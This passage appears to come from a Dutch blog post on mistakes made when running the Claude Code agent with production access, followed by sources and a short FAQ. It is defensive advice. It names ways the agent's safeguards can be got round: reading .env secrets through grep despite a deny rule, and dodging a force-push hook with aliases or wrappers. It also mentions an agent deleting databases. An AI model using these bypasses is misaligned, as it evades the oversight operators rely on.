1. --dangerously-skip-permissions op een hostmachine met toegang tot productie. Browningstreet verloor de productie- en ontwikkelingsdatabase met één opdracht om “op te ruimen”. De prijs van een fout is uren herstelwerk plus gegevens die niet in de back-up staan. Als er al een incident is gebeurd, open dan “Wat te doen als AI een database verwijdert: checklist voor herstel” en volg de 10 stappen in volgorde.
2. Alleen op CLAUDE.md vertrouwen voor beveiliging. Issue #44868 bewees dat het model eerst handelt en daarna excuses aanbiedt. Een adviesinstructie in een tekstbestand blokkeert geen toolaanroep. Een correct ingestelde hook kan overeenkomende aanroepen blokkeren, terwijl OS-, sandbox- en dienstzijdige toegangscontroles bredere grenzen afdwingen. CLAUDE.md is belangrijk voor de projectcontext — ik schreef er apart over in “CLAUDE.md correct configureren” — maar het beschermt je niet tegen een autonome agent.
3. Alleen vertrouwen op permissions.deny in settings.json, zonder hook erbovenop. Issue #24846 staat sinds februari 2026 open. Deny voor .env* kan via grep in Bash worden omzeild. Een hook kan controles toevoegen, maar geheimen moeten ook buiten de onbeheerde omgeving blijven; een regex vervangt toegangscontrole niet volledig.
4. Auto-mode met regexhooks als productie-isolatie behandelen. Het genoemde foutnegatiefpercentage geldt voor de evaluatie en hookdekking is onvolledig. Verwijder productieschrijfinloggegevens en controleer de afgedwongen grens in plaats van aan te nemen dat elke gevaarlijke actie wordt onderschept.
5. Een nieuw pakket installeren met npm install zonder bevestiging. Aanvallen op de softwaretoeleveringsketen zijn echt. De Tea-tags-incidenten van 2024–2026 lieten zien dat er pakketten bestaan met nagebootste namen en duizenden downloads. Je hebt een allowlist nodig.
6. Bash-aanroepen niet loggen. Zonder auditlog kun je niet achterhalen wat er ’s nachts is gebeurd. Het chattranscript is lang, niet geïndexeerd op commando en bevat geen tijdlijn. .claude/audit.jsonl lost beide problemen op.
7. Geen worktree gebruiken voor achtergrondsessies. Parallelle sessies in één map werken elkaar tegen. Claude Code heeft worktree.bgIsolation, sinds versie 2.1.143 standaard ingeschakeld, maar controleer je instellingen.
En het belangrijkste waartegen geen enkele hook of instelling bescherming biedt:
Die uitspraak gaat niet over stijl. Degene die verantwoordelijk is voor de bescherming van productie, is degene die de agent startte. Claude Code werkt als een vlijmscherp scheermes: je kunt je ermee scheren, maar je kunt jezelf er ook mee snijden. De configuratie beantwoordt één vraag: heb je de omgeving goed genoeg voorbereid, zodat het scheermes niets snijdt wat het niet mag raken?
Bronnen
- Anthropic Claude Code-instellingen - officiële documentatie
- Anthropic Claude Code-hooks - officiële documentatie
- Anthropic Claude Code-beveiliging - officiële documentatie
- Anthropic Engineering: Claude Code-sandboxing (20.10.2025)
- Anthropic Engineering: auto-mode en veiligheidsclassifier (25.03.2026)
- Claude Code CHANGELOG (versies 2.1.157, 2.1.160)
Meer bronnen zijn beschikbaar op Ailoot.
Meer details
Vragen en antwoorden
Beschermt de force-push-hook productie tegen elke shellopdracht?
Nee. Het herziene voorbeeld blokkeert herkende letterlijke git push-aanroepen, met beide vlagvolgorden, impliciete branches, refspecs en gewone shellketens. Aliassen, wrappers en opgebouwde opdrachten kunnen de tekstcontrole ontwijken; dwing branchbescherming af en verwijder omzeilende inloggegevens.
Wat is nodig voordat ik een agent ’s nachts laat draaien?
Gebruik een geïsoleerde omgeving zonder productieschrijfrechten of leesbare geheimen, controleer netwerk- en dienstzijdige beperkingen en test bedoelde treffers en gemiste gevallen van de hook. Hooks voegen controles toe maar vervangen die afgedwongen grenzen niet.